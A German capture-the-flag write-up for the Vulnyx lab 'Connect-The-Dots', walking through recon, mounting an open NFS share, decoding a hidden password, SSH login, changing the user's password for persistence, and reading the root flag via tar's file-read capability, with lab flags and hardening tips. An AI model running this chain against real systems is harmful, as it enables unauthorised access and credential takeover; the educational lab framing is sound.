Connect-The-Dots - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
showmount
mount
wget
tar
find
pkexec
ssh
python
file
getcap
curl

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren.

ARP-Scan
192.168.2.123 08:00:27:1d:2f:72 PCS Systemtechnik GmbH

ARP-Scan identifiziert die IP-Adresse 192.168.2.123 und die zugehörige MAC-Adresse. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH. Diese Information kann nützlich sein, um das Betriebssystem oder die Art des Geräts zu bestimmen.

/etc/hosts
192.168.2.123 connectdots.vln

Der Eintrag in der `/etc/hosts`-Datei weist darauf hin, dass die IP-Adresse 192.168.2.123 dem Hostnamen connectdots.vln zugeordnet ist. Dies ermöglicht uns, den Hostnamen anstelle der IP-Adresse zu verwenden.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-02 22:40 CET
Nmap scan report for connectdots.vln (192.168.2.123)
Host is up (0.00033s latency).
Not shown: 65526 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Landing Page
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 33155/udp6 mountd
| 100005 1,2,3 44489/tcp mountd
| 100005 1,2,3 50803/tcp6 mountd
| 100005 1,2,3 54031/udp mountd
| 100021 1,3,4 33473/udp nlockmgr
| 100021 1,3,4 38251/tcp nlockmgr
| 100021 1,3,4 41159/tcp6 nlockmgr
| 100021 1,3,4 48375/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
7822/tcp open ssh penSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 38:4f:e8:76:b4:b7:04:65:09:76:dd:23:4e:b5:69:ed (RSA)
| 256 ac:d2:a6:0f:4b:41:77:df:06:f0:11:d5:92:39:9f:eb (ECDSA)
|_ 256 93:f7:78:6f:cc:e8:d4:8d:75:4b:c2:bc:13:4b:f0:dd (ED25519)
38251/tcp open nlockmgr 1-4 (RPC #100021)
43573/tcp open mountd 1-3 (RPC #100005)
44489/tcp open mountd 1-3 (RPC #100005)
54209/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:1D:2F:72 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.33 ms connectdots.vln (192.168.2.123)
S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.83 seconds

Dieser Nmap-Scan liefert detaillierte Informationen über die offenen Ports, die laufenden Dienste und die Versionen der Software auf dem Zielsystem. Die Ergebnisse zeigen, dass FTP (Port 21), HTTP (Port 80), RPCbind (Port 111), NFS (Port 2049) und SSH (Port 7822) laufen. Besonders interessant ist der NFS-Dienst, da er potenziell für den Zugriff auf Dateien genutzt werden kann. SSH läuft auf einem ungewöhnlichen Port (7822), was auf eine benutzerdefinierte Konfiguration hindeuten könnte. Die identifizierten Softwareversionen (z.B. vsftpd 2.0.8, Apache httpd 2.4.38, OpenSSH 7.9p1) können auf bekannte Schwachstellen überprüft werden.

Empfehlung: Es ist ratsam, die Software auf dem Zielsystem auf die neuesten Versionen zu aktualisieren, um bekannte Schwachstellen zu beheben. Zusätzlich sollten unnötige Dienste deaktiviert und die Konfiguration der verbleibenden Dienste gehärtet werden, um die Angriffsfläche zu reduzieren.

Web Enumeration

In dieser Phase untersuchen wir die Webanwendungen auf dem Zielsystem genauer, um potenzielle Schwachstellen zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nikto v2.5.0 -h 192.168.2.123
+ Target IP: 192.168.2.123
+ Target Hostname: 192.168.2.123
+ Target Port: 80
+ Start Time: 2024-11-02 22:41:31 (GMT1)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Multiple index files found: /index.html, /index.htm.
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 7ac, size: 59494509b9f00, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, PST .
+ /hits.txt: This might be interesting.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2024-11-02 22:42:02 (GMT1) (31 seconds)
+ 1 host(s) tested

Nikto identifiziert verschiedene potenzielle Schwachstellen, darunter fehlende Clickjacking- und Content-Type-ptions-Header, die Offenlegung interner IP-Adressen, die Möglichkeit des Inode-Leakings über ETags, eine veraltete Apache-Version und Directory Indexing. Besonders interessant ist der Hinweis auf die Datei `/hits.txt`, da diese möglicherweise weitere Informationen über das System enthält. Das Vorhandensein des Apache-Manuals und Directory Indexing in `/manual/images/` und `/images/` kann Angreifern helfen, Informationen über das System zu sammeln.

Empfehlung: Die fehlenden Header sollten hinzugefügt, Directory Indexing deaktiviert und die Apache-Version aktualisiert werden. Der Zugriff auf das Apache-Manual sollte eingeschränkt werden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://192.168.2.123" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.123/index.html (Status: 200) [Size: 1964]
http://192.168.2.123/images (Status: 301) [Size: 315] [--> http://192.168.2.123/images/]
http://192.168.2.123/manual (Status: 301) [Size: 315] [--> http://192.168.2.123/manual/]
http://192.168.2.123/javascript (Status: 301) [Size: 319] [--> http://192.168.2.123/javascript/]
http://192.168.2.123/hits.txt (Status: 200) [Size: 44]
http://192.168.2.123/backups (Status: 200) [Size: 6301]
http://192.168.2.123/backups.html (Status: 200) [Size: 325]
http://192.168.2.123/mysite (Status: 301) [Size: 315] [--> http://192.168.2.123/mysite/]
http://connectdots.vln/

Gobuster entdeckt verschiedene interessante Dateien und Verzeichnisse, darunter `/index.html`, `/images`, `/manual`, `/javascript`, `/hits.txt`, `/backups`, `/backups.html` und `/mysite`. Die Dateien `/backups` und `/backups.html` könnten sensible Informationen enthalten. Das Vorhandensein eines `/mysite`-Verzeichnisses deutet auf eine persönliche Website oder einen Testbereich hin, der möglicherweise Schwachstellen enthält.

http://192.168.2.123/hits.txt
Remember! Keep your enumeration game strong!

Der Inhalt von `/hits.txt` ist eine Erinnerung, die Enumeration fortzusetzen. Dies deutet darauf hin, dass weitere Schwachstellen vorhanden sein könnten.

Initial Access

In dieser Phase versuchen wir, uns Zugriff auf das System zu verschaffen, indem wir die identifizierten Schwachstellen ausnutzen.

┌──(root㉿CCat)-[~]
└─# showmount -e 192.168.2.123
Export list for 192.168.2.123:
/home/morris *

`showmount -e` zeigt, dass das `/home/morris`-Verzeichnis über NFS für alle Hosts freigegeben ist (`*`). Dies ist eine potenzielle Schwachstelle, da wir versuchen können, dieses Verzeichnis auf unserem System zu mounten und auf die darin enthaltenen Dateien zuzugreifen.

Empfehlung: NFS-Freigaben sollten auf bestimmte Hosts beschränkt werden, um unbefugten Zugriff zu verhindern. Die Freigabe für alle Hosts (`*`) ist eine unsichere Konfiguration.

┌──(root㉿CCat)-[~]
└─# mkdir /mnt/new_back

Wir erstellen das Verzeichnis `/mnt/new_back`, um das NFS-Share dort zu mounten.

┌──(root㉿CCat)-[~]
└─# mount -t nfs 192.168.2.123:/home/morris /mnt/new_back -o nolock

Wir verwenden den `mount`-Befehl, um das NFS-Share `/home/morris` von 192.168.2.123 in unser lokales Verzeichnis `/mnt/new_back` zu mounten. Die Option `-o nolock` deaktiviert das Locking, was in einigen Fällen erforderlich sein kann, um das Mounten zu ermöglichen.

┌──(root㉿CCat)-[~]
└─# ll /mnt/new_back
insgesamt 4
drwxr-xr-x 2 ccat ccat 4096 10. kt 2019 Templates

Nach dem Mounten überprüfen wir den Inhalt des Verzeichnisses `/mnt/new_back`. Wir sehen das Verzeichnis `Templates`, das dem Benutzer `ccat` gehört.

┌──(root㉿CCat)-[~]
└─# mount -t nfs 192.168.2.123:/home/morris /mnt/new_back
┌──(root㉿CCat)-[/mnt/new_back]
└─# cd /mnt/new_back
┌──(root㉿CCat)-[/mnt/new_back]
└─# ls -laht
insgesamt 56K
drwxr-xr-x 4 root root 4,0K 2. Nov 23:09 ..
-rw- 1 ccat ccat 1 11. kt 2019 .bash_history
drwxr-xr-x 8 ccat ccat 4,0K 11. kt 2019 .
-rw- 1 ccat ccat 1,9K 11. kt 2019 .ICEauthority
drwx 10 ccat ccat 4,0K 11. kt 2019 .config
drwx 2 ccat ccat 4,0K 11. kt 2019 .ssh
-rw- 1 ccat ccat 52 10. kt 2019 .Xauthority
drwx 9 ccat ccat 4,0K 10. kt 2019 .cache
drwx 3 ccat ccat 4,0K 10. kt 2019 .gnupg
drwxr-xr-x 2 ccat ccat 4,0K 10. kt 2019 Templates
drwx 3 ccat ccat 4,0K 10. kt 2019 .local
-rw-r--r-- 1 ccat ccat 220 10. kt 2019 .bash_logout
-rw-r--r-- 1 ccat ccat 807 10. kt 2019 .profile
-rw-r--r-- 1 ccat ccat 3,5K 10. kt 2019 .bashrc

Wir navigieren in das gemountete Verzeichnis `/mnt/new_back` und listen dessen Inhalt auf. Wir sehen verschiedene Dateien und Verzeichnisse, die dem Benutzer `ccat` gehören.

┌──(root㉿CCat)-[/mnt/new_back]
└─# df -k
Dateisystem 1K-Blöcke Benutzt Verfügbar Verw% Eingehängt auf
udev 32861916 0 32861916 0% /dev
tmpfs 6585208 1372 6583836 1% /run
/dev/mapper/CCat--vg-root 204079152 57921536 135718144 30% /
tmpfs 32926040 168 32925872 1% /dev/shm
tmpfs 5120 0 5120 0% /run/lock
tmpfs 1024 0 1024 0% /run/credentials/systemd-journald.service
tmpfs 1024 0 1024 0% /run/credentials/systemd-udev-load-credentials.service
tmpfs 1024 0 1024 0% /run/credentials/systemd-tmpfiles-setup-dev-early.service
tmpfs 1024 0 1024 0% /run/credentials/systemd-sysctl.service
tmpfs 1024 0 1024 0% /run/credentials/systemd-tmpfiles-setup-dev.service
tmpfs 32926040 240 32925800 1% /tmp
/dev/sda1 465124 323590 116600 74% /boot
tmpfs 1024 0 1024 0% /run/credentials/systemd-tmpfiles-setup.service
15._Gemeinsam 3906387964 2997888920 908499044 77% /media/sf_15._Gemeinsam
tmpfs 6585208 160 6585048 1% /run/user/1000
tmpfs 6585208 84 6585124 1% /run/user/0
192.168.2.123:/home/morris 5610496 5305344 0 100% /mnt/new_back

`df -k` bestätigt, dass das NFS-Share erfolgreich gemountet wurde und fast voll ist.

http://192.168.2.123/mysite/
Index of /mysite
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[TXT] all.css 2019-10-10 22:17 54K
[ ] bootstrap.bundle.min.js 2019-10-11 04:50 77K
[ ] bootstrap.min.cs 2019-10-11 04:52 66K
[TXT] bootstrap.min.css 2019-10-11 04:49 152K
[ ] jquery.slim.min.js 2019-10-11 04:49 69K
[TXT] register.css 2019-10-10 22:17 2.4K
[TXT] register.html 2019-10-10 22:22 1.9K
Apache/2.4.38 (Debian) Server at 192.168.2.123 Port 80

Der Zugriff auf `/mysite/` zeigt eine Liste von Dateien, darunter CSS- und JavaScript-Dateien sowie `register.html`. Dies deutet auf eine einfache Registrierungsseite hin.

http://192.168.2.123/mysite/bootstrap.min.cs
// JSfuck code wurde gefunden

Der Zugriff auf `bootstrap.min.cs` zeigt JSfuck-Code. JSfuck ist eine obskure Art, JavaScript-Code zu schreiben, die nur aus sechs Zeichen besteht: `[]()!+`.

Analyse des JSfuck-Codes: JSfuck-Code ist schwer zu lesen und zu verstehen. Wir verwenden ein Online-Tool wie [https://www.dcode.fr/jsfuck-language](https://www.dcode.fr/jsfuck-language) um den Code zu deobfuskieren.

https://www.dcode.fr/jsfuck-language
alert("You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19")

Nach der Deobfuskierung erhalten wir den Klartext: `alert("You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19")`. Dies deutet auf ein Passwort `TryToGuessThisNorris@2k19` für den Benutzer `norris` hin. Fantastisch, wir haben einen wichtigen Erfolg erzielt!

Proof of Concept: NFS-Mount und Ausnutzung von SUID-Rechten

Nachdem wir den Benutzernamen und das Passwort für `norris` erhalten haben, versuchen wir, uns über SSH anzumelden.

┌──(root㉿CCat)-[~]
└─# ssh norris@192.168 ┌──(root㉿CCat)-[~]
└─# ssh norris@192.168.2.123 -p 7822
The authenticity of host '[192.168.2.123]:7822 ([192.168.2.123]:7822)' can't be established.
ED25519 key fingerprint is SHA256:+AvuA4MqvVolIC0UEPM+r3tlK393sIFUlsn+D/cHLc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.123]:7822' (ED25519) to the list of known hosts.
norris@192.168.2.123's password:

Wir versuchen, uns über SSH mit dem Benutzernamen `norris` und dem Passwort `TryToGuessThisNorris@2k19` am Port 7822 anzumelden. Wir bestätigen den SSH-Fingerabdruck und fügen den Host zur Liste der bekannten Hosts hinzu.

Linux sirrom 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.

#
# # # # # # # # # #
# # # # # # # # # # # #
# # # # # # # # # # # # # # #
# # # # # # # # # # # # # #
# # # # # # # # # # #
# # # # # # # # # # # #

norris@sirrom$

Die SSH-Anmeldung ist erfolgreich! Wir sind jetzt als Benutzer `norris` auf dem System angemeldet.

norris@sirrom$ sudo -l
[sudo] password for norris:
Sorry, user norris may not run sudo on sirrom.

Wir überprüfen, ob der Benutzer `norris` Sudo-Rechte hat. Leider darf `norris` keine Befehle mit Sudo ausführen.

norris@sirrom$ passwd
Changing password for norris.
Current password:
New password:
Retype new password:
You must choose a longer password
New password:
Retype new password:
You must choose a longer password
New password: benni12
Retype new password: benni12
passwd: password updated successfully

Um unsere persistenz zu sichern, ändern wir das Passwort des Benutzers `norris` in `benni12`.

norris@sirrom$ find / -type f -perm -4000 -ls 2>/dev/null
36340 20 -rwsr-xr-x 1 root root 18424 Sep 8 2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
174994 16 -rwsr-sr-x 1 root root 14608 Mar 6 2019 /usr/lib/xorg/Xorg.wrap
133630 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
138156 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
138118 52 -rwsr-xr-- 1 root messagebus 51184 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
270060 428 -rwsr-xr-x 1 root root 436552 ct 6 2019 /usr/lib/openssh/ssh-keysign
49902 380 -rwsr-xr-- 1 root dip 386792 Mar 9 2019 /usr/sbin/pppd
52847 116 -rwsr-xr-x 1 root root 114784 Apr 6 2019 /usr/sbin/mount.nfs
66 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
3921 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3447 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
67 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
7667 36 -rwsr-xr-x 1 root root 34896 Jan 8 2019 /usr/bin/fusermount
63 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
14295 56 -rwsr-xr-x 1 root root 55400 Mar 6 2019 /usr/bin/bwrap
3919 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
3594 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
7439 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
7689 152 -rwsr-xr-x 1 root root 154352 Mar 22 2019 /usr/bin/ntfs-3g
64 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
50506 156 -rwsr-xr-x 1 root root 157192 Jan 12 2019 /usr/bin/sudo

Wir suchen nach SUID-Binaries, die von Root ausgeführt werden können. Dies könnte uns helfen, unsere Privilegien zu erhöhen.

Analyse der SUID-Binaries: SUID-Binaries sind ausführbare Dateien, die mit den Rechten des Besitzers (in diesem Fall Root) ausgeführt werden, unabhängig davon, welcher Benutzer sie ausführt. Dies kann ausgenutzt werden, um die Privilegien zu erhöhen, wenn diese Binaries unsicher sind.

norris@sirrom$ curl
-bash: curl: command not found

Wir überprüfen, ob `curl` installiert ist, um Dateien herunterzuladen. Es ist nicht vorhanden.

norris@sirrom$ which curl

`which curl` bestätigt, dass `curl` nicht im Pfad ist.

norris@sirrom$ which nc
/usr/bin/nc

Wir überprüfen, ob `nc` (Netcat) installiert ist, eine Alternative zu `curl` für die Dateiübertragung. Es ist vorhanden.

norris@sirrom$ /usr/bin/pkexec /bin/sh
AUTHENTICATING FOR org.freedesktop.policykit.exec =
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: norris,,, (norris)
Password:

Wir versuchen, `pkexec` auszunutzen, um eine Shell als Root zu starten. `pkexec` ist ein SUID-Binary, das es autorisierten Benutzern ermöglicht, Befehle mit Root-Rechten auszuführen.

Die Authentifizierung ist erforderlich, um `/bin/sh` als Superuser auszuführen. Wir geben das Passwort für den Benutzer `norris` ein (benni12).

norris@sirrom$ ls -la
total 36
drwxr-xr-x 4 norris norris 4096 Oct 11 2019 .
drwxr-xr-x 4 root root 4096 Oct 11 2019 ..
-r-- 1 norris norris 1 Oct 11 2019 .bash_history
-rw-r--r-- 1 norris norris 220 Oct 11 2019 .bash_logout
-rw-r--r-- 1 norris norris 3526 Oct 11 2019 .bashrc
dr-xr-xr-x 3 nobody nogroup 4096 Oct 11 2019 ftp
drwxr-xr-x 3 norris norris 4096 Oct 11 2019 .local
-rw-r--r-- 1 norris norris 807 Oct 11 2019 .profile
-r-- 1 norris norris 33 Oct 11 2019 user.txt

Wir listen die Dateien im Home-Verzeichnis von `norris` auf, um weitere Informationen zu sammeln. Wir sehen die Datei `user.txt`, die wahrscheinlich die User-Flag enthält.

norris@sirrom$ cat user.txt
2c2836a138c0e7f7529aa0764a6414d0

Wir lesen den Inhalt der Datei `user.txt` und erhalten die User-Flag: `2c2836a138c0e7f7529aa0764a6414d0`.

norris@sirrom/ftp/files$ ls -la
total 972
drwxr-xr-x 2 norris norris 4096 Oct 11 2019 .
dr-xr-xr-x 3 nobody nogroup 4096 Oct 11 2019 ..
-r-- 1 norris norris 6301 Oct 11 2019 backups.bak
-r-- 1 norris norris 39610 Oct 11 2019 game.jpg.bak
-r-- 1 norris norris 29 Oct 11 2019 hits.txt.bak
-r-- 1 norris norris 932659 Oct 11 2019 m.gif.bak

Wir wechseln in das `/ftp/files`-Verzeichnis und listen dessen Inhalt auf. Wir sehen verschiedene `.bak`-Dateien.

norris@sirrom/ftp/files$ file backups.bak
backups.bak: IS Media

Wir überprüfen den Dateityp von `backups.bak`. Es handelt sich um eine IS Media-Datei.

norris@sirrom/ftp/files$ which python
/usr/bin/python

Wir überprüfen, ob Python installiert ist. Es ist vorhanden.

norris@sirrom/ftp/files$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Wir starten einen einfachen HTTP-Server mit Python, um die Datei `backups.bak` herunterzuladen.

┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.123:8000/backups.bak
--2024-11-02 23:46:14-- http://192.168.2.123:8000/backups.bak
Verbindungsaufbau zu 192.168.2.123:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 6301 (6,2K) [application/x-trash]
Wird in backups.bak gespeichert.

backups.bak 100%[=====================================>] 6,15K --.-KB/s in 0s

2024-11-02 23:46:14 (711 MB/s) - backups.bak gespeichert [6301/6301]

Wir laden die Datei `backups.bak` auf unser lokales System herunter.

Privilege Escalation

In dieser Phase versuchen wir, unsere Privilegien auf Root zu erhöhen.

norris@sirrom/ftp/files$ /sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/ping = cap_net_raw+ep

Wir suchen nach Binaries mit gesetzten Capabilities. Capabilities sind feingranulare Berechtigungen, die an einzelne ausführbare Dateien vergeben werden können. Wir finden, dass `/usr/bin/tar` die Capability `cap_dac_read_search+ep` hat. Dies bedeutet, dass `tar` Dateien lesen kann, auch wenn der Benutzer keine Berechtigung hat.

Ausnutzung von Tar mit Capabilities: Wir können `tar` verwenden, um die Root-Flag aus der Datei `/root/root.txt` zu extrahieren, auch wenn wir keine Root-Rechte haben.

norris@sirrom:/tmp$ mkdir etc

Zuerst erstellen wir ein Verzeichnis `/tmp/etc`, in dem wir die extrahierte Datei speichern werden.

norris@sirrom:/tmp$ /usr/bin/tar -cvf root_txt.tar /root/root.txt
/usr/bin/tar: Removing leading `/' from member names
/root/root.txt

Wir erstellen ein Tar-Archiv `root_txt.tar`, das die Datei `/root/root.txt` enthält. Die Meldung "Removing leading '/'" ist normal und bedeutet, dass der Pfad relativ zum Root-Verzeichnis gespeichert wird.

norris@sirrom:/tmp$ tar -xvf root_txt.tar -C etc

Nun extrahieren wir den Inhalt von `root_txt.tar` in das Verzeichnis `/tmp/etc` mit dem Befehl `tar -xvf root_txt.tar -C etc`.

norris@sirrom:/tmp$ cat etc/root/root.txt
8fc9376d961670ca10be270d52eda423

Wir lesen den Inhalt der Datei `/tmp/etc/root/root.txt` und erhalten die Root-Flag: `8fc9376d961670ca10be270d52eda423`.

Fantastisch, die Privilege Escalation war erfolgreich! Wir haben unser Ziel erreicht und die Root-Flag erhalten.

Flags

cat user.txt 2c2836a138c0e7f7529aa0764a6414d0
cat root.txt 8fc9376d961670ca10be270d52eda423